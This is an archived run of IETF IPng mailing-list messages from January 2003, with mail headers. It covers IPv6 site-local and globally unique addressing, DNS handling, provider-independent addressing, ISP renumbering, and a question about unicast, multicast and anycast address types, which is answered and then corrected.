	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0M6c0CK017108;
	Tue, 21 Jan 2003 22:38:00 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0M6bl16017094
	for <ipng@sunroof.eng.sun.com>; Tue, 21 Jan 2003 22:37:48 -0800 (PST)
Received: from localhost (punchin-nordmark.Eng.Sun.COM [192.9.61.11])
	by bebop.France.Sun.COM (8.11.6+Sun/8.10.2/ENSMAIL,v2.2) with SMTP id h0M6biP13605
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 07:37:44 +0100 (MET)
Date: Wed, 22 Jan 2003 06:09:07 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@Sun.COM>
Reply-To: Erik Nordmark <Erik.Nordmark@Sun.COM>
Subject: GUPI/GUSLs and DNS
To: ipng@sunroof.eng.sun.com
Message-ID: <Roam.SIMC.2.0.6.1043212147.16376.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


One thing I haven't seen discussed in the GUPI/GUSL threads is
how folks envision they and DNS to fit together for the AAAA lookups
especially when GUPI is used for private interconnects between sites
(whether it is site-to-site or goes through some ISPs through private 
arrangements).

For the plain old site-local case it is possible to handle DNS with
a two-faced solution where the inside DNS returns site-locals and the
outside DNS only returns globals. (This is known to be complex to configure
etc)

But the private interconnects seem to imply that there needs to be more than
two faces - one for each set of set of sites that use GUPI/GUSL for
private interconnects I think.

Has anybody thought through how this would work? With recursive resolvers?

Seems like a whole in the GUPI/GUSL bigger picture.

  Erik

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 21 22:42:05 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0M6g516017392;
	Tue, 21 Jan 2003 22:42:05 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0M6g4jN017391;
	Tue, 21 Jan 2003 22:42:04 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0M6g116017384
	for <ipng@sunroof.eng.sun.com>; Tue, 21 Jan 2003 22:42:01 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0M6g1gE000695
	for <ipng@sunroof.eng.sun.com>; Tue, 21 Jan 2003 22:42:01 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA13459;
	Tue, 21 Jan 2003 23:41:54 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h0M6fqm30209;
	Wed, 22 Jan 2003 08:41:52 +0200
Date: Wed, 22 Jan 2003 08:41:52 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Erik Nordmark <Erik.Nordmark@Sun.COM>
cc: Margaret Wasserman <mrw@windriver.com>,
   Kurt Erik Lindqvist <kurtis@kurtis.pp.se>,
   Michel Py <michel@arneill-py.sacramento.ca.us>,
   Christian Huitema <huitema@windows.microsoft.com>,
   <ipng@sunroof.eng.sun.com>
Subject: Re: "unique enough" [RE: globally unique site local addresses]
In-Reply-To: <Roam.SIMC.2.0.6.1043211204.8688.nordmark@bebop.france>
Message-ID: <Pine.LNX.4.44.0301220840090.30061-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Wed, 22 Jan 2003, Erik Nordmark wrote:
> > I have the following things running around in my brain, and they aren't
> > converging:
> > 
> >          - We need to provide PI addressing in IPv6, or we will
> >                  see wide deployment of IPv6 NAT in enterprises
> >                  and homes.  No one seems to be disagreeing with
> >                  this.
> 
> home?
> 
> Having homes go from one, perhaps unstable, IPv4 address to a /48 PA
> address is a tremendous improvement. I don't see why homes would require
> global PI addresses today.
> 
> On the enterprise side I can see that folks have been bitting or
> are concerned about renumbering costs if they were to use PA addresses.
> But I don't have any data on how many consider having one PA prefix per ISP 
> good enough since it allows some graceful cutover when changing ISPs.

One thing I'd like to have people keep in mind is that solutions come with 
a price, in whatever form.

I regard global PI addresses that are supposed to be globally routable 
having a terrible price.

Of course having them would be nice, but it seems to be the disadvantages 
outweigh the benefits.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 22 01:50:17 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0M9oG16019063;
	Wed, 22 Jan 2003 01:50:16 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0M9oGRX019062;
	Wed, 22 Jan 2003 01:50:16 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0M9oD16019055
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 01:50:13 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0M9oLgE005701
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 01:50:22 -0800 (PST)
Received: from kirk.rvdp.org (node147c0.a2000.nl [24.132.71.192])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA18483;
	Wed, 22 Jan 2003 02:50:13 -0700 (MST)
Received: (from rvdp@localhost)
	by kirk.rvdp.org (8.11.6/8.11.6) id h0M9oB301834;
	Wed, 22 Jan 2003 10:50:11 +0100 (CET)
Date: Wed, 22 Jan 2003 10:50:11 +0100
From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
To: Erik Nordmark <Erik.Nordmark@Sun.COM>
Cc: Margaret Wasserman <mrw@windriver.com>, Mark Smith <ipv6@nosense.org>,
   ipng@sunroof.eng.sun.com
Subject: Re: Taking two steps back (Was: Re: one question...)
Message-ID: <20030122095011.GD285@rvdp.org>
References: <5.1.0.14.0.20021126092449.015d2d60@mail.windriver.com> <Roam.SIMC.2.0.6.1043202859.17676.nordmark@bebop.france>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <Roam.SIMC.2.0.6.1043202859.17676.nordmark@bebop.france>
User-Agent: Mutt/1.4i
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Wed, Jan 22, 2003 at 03:34:19 +0100, Erik Nordmark wrote:

> Granted that this is a hard problem, but we seem to be spending emails
> on multiple subsets of this problem (in different WGs) thus I think it
> would be worth-while to concentrate thinking on the identifier/locator
> separation problem.

Agreed.

	rvdp
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 22 02:55:58 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0MAtw16019841;
	Wed, 22 Jan 2003 02:55:58 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0MAtv7R019840;
	Wed, 22 Jan 2003 02:55:57 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0MAts16019833
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 02:55:54 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0MAu34w014292
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 02:56:03 -0800 (PST)
Received: from d12lmsgate-5.de.ibm.com (d12lmsgate-5.de.ibm.com [194.196.100.238])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA12879
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 02:55:55 -0800 (PST)
Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22])
	by d12lmsgate-5.de.ibm.com (8.12.3/8.12.3) with ESMTP id h0MApEVx023396;
	Wed, 22 Jan 2003 11:51:15 +0100
Received: from etzel.zurich.ibm.com (etzel.zurich.ibm.com [9.4.64.140])
	by d12relay01.de.ibm.com (8.12.3/NCO/VER6.4) with SMTP id h0MApDWa136670;
	Wed, 22 Jan 2003 11:51:14 +0100
Received: from dhcp23-27.zurich.ibm.com by etzel.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03)
          id AA50846 from <brian@hursley.ibm.com>; Wed, 22 Jan 2003 11:51:11 +0100
Message-Id: <3E2E7776.4273E88@hursley.ibm.com>
Date: Wed, 22 Jan 2003 11:50:30 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,fr,de
Mime-Version: 1.0
To: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
Cc: Erik Nordmark <Erik.Nordmark@Sun.COM>,
   Margaret Wasserman <mrw@windriver.com>, Mark Smith <ipv6@nosense.org>,
   ipng@sunroof.eng.sun.com
Subject: Re: Taking two steps back (Was: Re: one question...)
References: <5.1.0.14.0.20021126092449.015d2d60@mail.windriver.com> <Roam.SIMC.2.0.6.1043202859.17676.nordmark@bebop.france> <20030122095011.GD285@rvdp.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

In theory yes, but the Namespace Research Group tried and failed.

  Brian

Ronald van der Pol wrote:
> 
> On Wed, Jan 22, 2003 at 03:34:19 +0100, Erik Nordmark wrote:
> 
> > Granted that this is a hard problem, but we seem to be spending emails
> > on multiple subsets of this problem (in different WGs) thus I think it
> > would be worth-while to concentrate thinking on the identifier/locator
> > separation problem.
> 
> Agreed.
> 
>         rvdp
> --------------------------------------------------------------------
> IETF IPng Working Group Mailing List
> IPng Home Page:                      http://playground.sun.com/ipng
> FTP archive:                      ftp://playground.sun.com/pub/ipng
> Direct all administrative requests to majordomo@sunroof.eng.sun.com
> --------------------------------------------------------------------
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 22 04:32:53 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0MCWq16020553;
	Wed, 22 Jan 2003 04:32:52 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0MCWqa7020552;
	Wed, 22 Jan 2003 04:32:52 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0MCWn16020545
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 04:32:49 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0MCWvgE000348
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 04:32:57 -0800 (PST)
Received: from daakghar.controlnet.co.in (daakghar.controlnet.co.in [202.54.116.74])
	by patan.sun.com (8.9.3+Sun/8.9.3) with SMTP id FAA17752
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 05:32:48 -0700 (MST)
Received: from digambar ([192.168.4.1]) by
          dakiya.controlnet.co.in (Netscape Messaging Server 4.15) with
          ESMTP id H9489O00.D2F; Wed, 22 Jan 2003 18:04:36 +0530 
Message-ID: <010101c2c211$933805b0$e20aa8c0@digambar>
From: "Digambar Rasal" <digambar@controlnet.co.in>
To: "Digambar Rasal" <digambar@controlnet.co.in>, <ipng@sunroof.eng.sun.com>
References: <001301c2bc48$737cef70$e20aa8c0@digambar>
Subject: please reply I am posting 3rd time : Web Server addresses : Unicast , Multicast , Anycast
Date: Wed, 22 Jan 2003 17:57:05 +0530
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hi

I am developing a Web server , router , load balancers, Gateway and Switch
testing software.

I have read the RFC reagrding the addressing in IPv6 and I understood that
Web servers , routers , load balancers, Gateways and Switches can have
either Unicast  or Multicast or Anycast address.

I am not sure that my interpretation  is correct .. So please correct if I
am wrong.

Regards
Digambar Rasal


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Controlnet(India) Pvt Limited
Goa India.
+91-832-2883601
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 22 05:36:24 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0MDaO16021308;
	Wed, 22 Jan 2003 05:36:24 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0MDaO2j021307;
	Wed, 22 Jan 2003 05:36:24 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0MDaG16021293
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 05:36:16 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0MDaO4w007711
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 05:36:24 -0800 (PST)
Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA14539
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 05:36:18 -0800 (PST)
Received: from IDLEWYLDE.windriver.com ([147.11.233.21])
	by mail.wrs.com (8.9.3/8.9.1) with ESMTP id FAA23474;
	Wed, 22 Jan 2003 05:35:15 -0800 (PST)
Message-Id: <5.1.0.14.2.20030122082501.030c1148@mail.windriver.com>
X-Sender: mrw@mail.windriver.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Wed, 22 Jan 2003 08:28:37 -0500
To: "Digambar Rasal" <digambar@controlnet.co.in>
From: Margaret Wasserman <mrw@windriver.com>
Subject: Re: please reply I am posting 3rd time : Web Server addresses
  : Unicast , Multicast , Anycast
Cc: "Digambar Rasal" <digambar@controlnet.co.in>, <ipng@sunroof.eng.sun.com>
In-Reply-To: <010101c2c211$933805b0$e20aa8c0@digambar>
References: <001301c2bc48$737cef70$e20aa8c0@digambar>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


Hi Digamar,

Sorry for not replying earlier.

>I have read the RFC reagrding the addressing in IPv6 and I understood that
>Web servers , routers , load balancers, Gateways and Switches can have
>either Unicast  or Multicast or Anycast address.

Any IPv6 node can have any of these types of addresses.  All nodes will
have at least one unicast address (since every interface must have a
link-local unicast address).  Other addresses are optional, and will
depend on the configuration of the network and the individual node.
However, most nodes on the global Internet will have one or more
global unicast addresses.

There is no either/or relationship between unicast, multicast and
anycast addresses.  A node may have all three, if it is configured
that way.

Margaret




--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 22 08:00:07 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0MG0616021787;
	Wed, 22 Jan 2003 08:00:06 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0MG06Av021786;
	Wed, 22 Jan 2003 08:00:06 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0MG0316021779
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 08:00:03 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0MG0B4w006250
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 08:00:11 -0800 (PST)
Received: from SERVER2000.arneill-py.sacramento.ca.us (adsl-209-233-126-65.dsl.scrm01.pacbell.net [209.233.126.65])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA17351
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 08:00:05 -0800 (PST)
Subject: RE: "unique enough" [RE: globally unique site local addresses]
Date: Wed, 22 Jan 2003 08:00:05 -0800
Message-ID: <963621801C6D3E4A9CF454A1972AE8F54B58@server2000.arneill-py.sacramento.ca.us>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Content-class: urn:content-classes:message
Thread-Topic: "unique enough" [RE: globally unique site local addresses]
X-MimeOLE: Produced By Microsoft Exchange V6.5.6803.0
Thread-Index: AcLB4Mdvt2+Js+8eQTy67bO4sifHFwATg6VA
From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Erik Nordmark" <Erik.Nordmark@Sun.COM>
Cc: <ipng@sunroof.eng.sun.com>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0MG0316021780
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

> Erik Nordmark wrote:
> On the enterprise side I can see that folks have been
> bitting or are concerned about renumbering costs if they
> were to use PA addresses.

> But I don't have any data on how many consider having one
> PA prefix per ISP good enough since it allows some graceful
> cutover when changing ISPs.

Not many. We have had many contributions that multiple addresses are a
no-go to begin with.

Michel.


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 22 12:04:50 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0MK4o16024332;
	Wed, 22 Jan 2003 12:04:50 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0MK4o8q024331;
	Wed, 22 Jan 2003 12:04:50 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0MK4l16024324
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 12:04:47 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0MK4tgE029535
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 12:04:55 -0800 (PST)
Received: from ss10.danlan.com (ss10.danlan.com [199.33.144.62])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA26542
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 13:04:48 -0700 (MST)
Received: (from ddl@localhost)
	by ss10.danlan.com (8.9.3/8.9.3) id PAA22496;
	Wed, 22 Jan 2003 15:04:45 -0500 (EST)
Date: Wed, 22 Jan 2003 15:04:45 -0500 (EST)
From: Dan Lanciani <ipng-incoming@danlan.com>
Message-Id: <200301222004.PAA22496@ss10.danlan.com>
To: ipng@sunroof.eng.sun.com
Subject: Re: Proposal for site-local clean-up
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Erik Nordmark <Erik.Nordmark@sun.com> wrote:

|> |Sorry for the delayed response - didn't see me in the to: or cc: fields.
|> 
|> I try to keep all the mail to the list just to the list...
|
|As long as you don't ask me direct questions and expect me to answer
|than would be fine. This time it took almost 2 months...

This is really meta-discussion, but I find it confusing when a piece of a thread
doesn't make it to the list until after several rounds have occurred in private.
I think that those of us who actually read the entire thread appreciate the
opportunity to see each response as it is generated and to comment on those
responses before the subsequent rounds.  For these reasons I think it is not
only reasonable but desirable to send each message through the list (only) even
if it contains questions addressed to others list readers.

|> |You seem to be assuming flash renumbering without overlap.
|> 
|> Yes, that is the only reasonable assumption to make.  Just as ISPs now use
|> short DHCP leases and related dynamic adderssing techniques to discourage
|> what they perceive as "bandwidth hungry server activity" they will use
|> frequent renumbering to achieve the same goals.  Without site locals they
|> will have the added advantage of being able to disrupt not only your
|> "server's" accessibility from the internet, but your stereo and your tv as
|> well.  At least they will be able to do this until v6 NAT appears.
|> 
|> Please explain why you assume that ISPs will change their business models
|> under v6.
|
|The ISPs business model is about service differentiation.
|They can and do use various techniques in IPv4 to accomplish this - short
|DHCP leases, 1 vs. multiple IP addresses, port filtering, access line bandwidth
|etc. They will AFAIK continue to need to do service differentiation.
|But the actual form of service differentiation doesn't need to be
|the same.
|
|Will v6 make the ISPs that do port filtering stop doing so?
|Not uness there is some other means to provide service differentiation.
|
|Will v6 make the ISPs that use short leases stop doing so?
|Not uness there is some other means to provide service differentiation.

This does not answer the question of why you assume that ISPs will change their
business models under v6.  In fact, it sounds like you are now agreeing that
they will not do so, at least not unless some other as-yet-unspecified change
occurs.  Given that without such a change we agree that ISPs will limit both
the number and stability of v6 addresses just as they now do with v4 addresses,
and given that you haven't offered a reason why flash renumbering won't be used
to make the situation worse (well, worse for customers, better for ISPs), how
exactly have we obviated the need for site-locals and scoping?

|If we can provide some other means for them to do so, we can avoid having to
|warp the addressing architecture to try to "route around" the ISPs desire.

I don't think that it is desirable to create additional means for ISPs to
charge for "services" that consist largely of not disrupting their customers'
internal networks.  That kind of "service differentiation" is always going to
be artificial.  If v6 ever reaches the penetration that some of us originally
hoped it would (and that is becoming less and less likely IMHO) we could depend
on it for all sorts of internal communications between, e.g., appliances,
televisions, alarm systems, light controllers, etc.  Designing such a system to
operate correctly independent of the actions of external service providers is
arguably best practice and sound engineering.  It is not simply an attempt to
"route around" the ISP's desire to collect monthly service fees for allowing a
local network to operate.  If the intended architecture does not provide a clean
way to do what the vast majority of users are going to see as an obvious given
(i.e., operate a stable local network) then NAT will "route around" the blatant
deficiency.  While you can define the protocol to favor the ISP's desires, the
free market will eventually serve the user's desire for a working local network.

				Dan Lanciani
				ddl@danlan.*com
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 22 12:23:27 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0MKNR16024471;
	Wed, 22 Jan 2003 12:23:27 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0MKNRTI024470;
	Wed, 22 Jan 2003 12:23:27 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0MKNL16024463
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 12:23:21 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0MKNTgE005189
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 12:23:29 -0800 (PST)
Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA12500
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 13:23:23 -0700 (MST)
Received: from IDLEWYLDE.windriver.com ([128.224.4.109])
	by mail.wrs.com (8.9.3/8.9.1) with ESMTP id MAA03173;
	Wed, 22 Jan 2003 12:22:21 -0800 (PST)
Message-Id: <5.1.0.14.2.20030122151601.02dfce68@mail.windriver.com>
X-Sender: mrw@mail.windriver.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Wed, 22 Jan 2003 15:19:09 -0500
To: "Digambar Rasal" <digambar@controlnet.co.in>
From: Margaret Wasserman <mrw@windriver.com>
Subject: Re: please reply I am posting 3rd time : Web Server addresses
  : Unicast , Multicast , Anycast
Cc: <ipng@sunroof.eng.sun.com>
In-Reply-To: <5.1.0.14.2.20030122082501.030c1148@mail.windriver.com>
References: <010101c2c211$933805b0$e20aa8c0@digambar>
 <001301c2bc48$737cef70$e20aa8c0@digambar>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


Oops...

I made a mistake in the response.  An anycast address can only
be assigned to a router (an IPv6 node that forwards packets), not
to a host.

So, most Web Servers could not be assigned an anycast address.

Sorry,
Margaret


At 08:28 AM 1/22/2003 -0500, Margaret Wasserman wrote:

>Hi Digamar,
>
>Sorry for not replying earlier.
>
>>I have read the RFC reagrding the addressing in IPv6 and I understood that
>>Web servers , routers , load balancers, Gateways and Switches can have
>>either Unicast  or Multicast or Anycast address.
>
>Any IPv6 node can have any of these types of addresses.  All nodes will
>have at least one unicast address (since every interface must have a
>link-local unicast address).  Other addresses are optional, and will
>depend on the configuration of the network and the individual node.
>However, most nodes on the global Internet will have one or more
>global unicast addresses.
>
>There is no either/or relationship between unicast, multicast and
>anycast addresses.  A node may have all three, if it is configured
>that way.
>
>Margaret
>
>
>
>
>--------------------------------------------------------------------
>IETF IPng Working Group Mailing List
>IPng Home Page:                      http://playground.sun.com/ipng
>FTP archive:                      ftp://playground.sun.com/pub/ipng
